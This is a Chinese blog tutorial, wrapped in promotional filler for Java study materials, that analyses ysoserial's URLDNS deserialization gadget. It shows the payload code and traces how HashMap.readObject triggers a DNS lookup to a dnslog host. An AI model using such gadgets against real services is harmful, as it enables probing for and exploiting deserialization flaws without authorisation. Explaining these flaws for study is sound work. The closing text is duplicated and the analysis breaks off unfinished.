最后
小编精心为大家准备了一手资料
以上Java高级架构资料、源码、笔记、视频。Dubbo、Redis、设计模式、Netty、zookeeper、Spring cloud、分布式、高并发等架构技术
【附】架构书籍
- BAT面试的20道高频数据库问题解析
- Java面试宝典
- Netty实战
- 算法
BATJ面试要点及Java架构师进阶资料
首先ysoserial获取外面传入的参数,并赋值给对应的变量。
inal String payloadType = args[0]; // URLDNS
final String command = args[1]; //http://lyxhh.dnslog.cn
接着执行 Utils.getPayloadClass("URLDNS");
,根据全限定类名 ysoserial.payloads.URLDNS
,获取对应的Class类对象。
final ObjectPayload payload = payloadClass.newInstance();
然后通过反射创建Class类对应的对象,走完这句代码,URLDNS对象创建完成。
final Object object = payload.getObject(“http://lyxhh.dnslog.cn”);
接着执行URLDNS对象中的getObject方法。
getObject方法中:
URLStreamHandler handler = new SilentURLStreamHandler();
创建了URLStreamHandler对象,该对象的作用,后面我们会详细说到。
接着:
HashMap ht = new HashMap();
创建了HashMap对象:
URL u = new URL(null, “http://lyxhh.dnslog.cn”, handler);
URL对象:
ht.put(u, “http://lyxhh.dnslog.cn”);
将URL对象作为HashMap中的key,dnslog地址为值,存入HashMap中。
Reflections.setFieldValue(u, “hashCode”, -1);
通过反射机制 设置URL对象的成员变量hashCode值为-1,为什么要设置值为-1,这问题在反序列化时会详细说到。
将HashMap对象返回 return ht;
,接着对 HashMap对象 进行序列化操作 Serializer.serialize(object, out);
并将序列化的结果重定向到 dnslog.ser
文件中。
由于HashMap中重写了writeObject方法,因此在进行序列化操作时,执行的序列化方法是HashMap中的writeObject方法,具体如下:
先执行默认的序列化操作:
接着 遍历HashMap,对HashMap中的key,value进行序列化。
综上所述,梳理下ysoserial payload,URLDNS 序列化的整个过程:
-
首先 ysoserial 通过反射的方式,根据全限定类名
ysoserial.payloads.URLDNS
,获取对应的Class类对象,并通过Class类对象的newInstance()
方法,获取URLDNS对象。 -
接着执行URLDNS对象中的getObject方法。
-
在getObject方法中,创建了URLStreamHandler 对象
URLStreamHandler handler = new SilentURLStreamHandler();
,该对象会被URL对象引用。 -
创建HashMap对象
HashMap ht = new HashMap();
,URL对象URL u = new URL(null, "http://lyxhh.dnslog.cn", handler);
。 -
将URL对象作为HashMap中的Key,DNSLOG的地址作为HashMap中的值
HashMap.put(u, "http://lyxhh.dnslog.cn");
-
通过反射的方式
Reflections.setFieldValue(u, "hashCode", -1);
,设置URL对象中的成员变量hashCode值为-1。 -
返回HashMap对象。
-
然后对HashMap对象进行序列化操作
Serializer.serialize(HashMap object, out);
整个序列化过程中,有几个问题: 1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。 2、为什么要设置URL对象中的成员变量hashCode值为-1。
反序列化分析
读取上述操作生成的 dnslog.ser
文件,执行反序列化,触发DNSLOG请求:
为什么HashMap的反序列化过程会发送DNSLOG请求呢?
在进行反序列化操作时,由于HashMap中重写了readObject方法,因此执行的反序列化方法是HashMap中的readObject方法,如下:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject(); // 执行默认的反序列化方法
reinitialize(); //初始化变量值
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 遍历hashmap,进行反序列化操作,还原key值,这里的key值,是URL对象。
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 还原value值,这里的value值,是dnslog的请求地址,http://lyxhh.dnslog.cn
putVal(hash(key), key, value, false, false); //对key进行hash计算,确保唯一,并构造Hashmap对象。
}
}
}
readObject中,先执行默认的反序列化方法,接着还原HashMap,并计算Key,如下:
这里我们跟进hash(key)方法中。
接着执行了 key.hashCode()
,而key是URL对象,因此执行的是URL对象中的hashCode方法,继续跟进。
在序列化操作时,已经通过反射设置了URL的hashCode等于-1,因此这里会直接进入到 handler.hashCode(this);
中。
hashCode方法中会执行 getHostAddress(URL u)
方法,方法中调用了 InetAddress.getByName(host);
函数,从而发送DNSLOG请求。
使用 InetAddress.getByName(host);
,发送DNSLOG请求。
综上所述,梳理下ysoserial payload,URLDNS 反序列化的整个过程:
-
首先 HashMap 重写了readObject方法,因此在反序列化过程中,执行的反序列化方法是HashMap中的readObject方法。
-
在HashMap中的readObject方法中,会对Key进行hash计算
key.hashCode()
,而Key是URL对象,执行URL对象的hashCode方法。 -
在URL.hashCode方法中,当hashCode成员变量值为-1时,会执行URLStreamHandler.hashCode()方法。
-
在URLStreamHandler.hashCode()方法中,会执行
getHostAddress(URL u)
方法。 -
在
getHostAddress(URL u)
方法中,会执行InetAddress.getByName(host);
,从而发送DNSLOG请求。
解决序列化时遗留的问题
1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。
URLDNS中getObject方法中。
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
结语
小编也是很有感触,如果一直都是在中小公司,没有接触过大型的互联网架构设计的话,只靠自己看书去提升可能一辈子都很难达到高级架构师的技术和认知高度。向厉害的人去学习是最有效减少时间摸索、精力浪费的方式。
我们选择的这个行业就一直要持续的学习,又很吃青春饭。
虽然大家可能经常见到说程序员年薪几十万,但这样的人毕竟不是大部份,要么是有名校光环,要么是在阿里华为这样的大企业。年龄一大,更有可能被裁。
送给每一位想学习Java小伙伴,用来提升自己。
本文到这里就结束了,喜欢的朋友可以帮忙点赞和评论一下,感谢支持!
联网架构设计的话,只靠自己看书去提升可能一辈子都很难达到高级架构师的技术和认知高度。向厉害的人去学习是最有效减少时间摸索、精力浪费的方式。
我们选择的这个行业就一直要持续的学习,又很吃青春饭。
虽然大家可能经常见到说程序员年薪几十万,但这样的人毕竟不是大部份,要么是有名校光环,要么是在阿里华为这样的大企业。年龄一大,更有可能被裁。
送给每一位想学习Java小伙伴,用来提升自己。
[外链图片转存中…(img-HOFwHqA4-1714842795712)]
本文到这里就结束了,喜欢的朋友可以帮忙点赞和评论一下,感谢支持!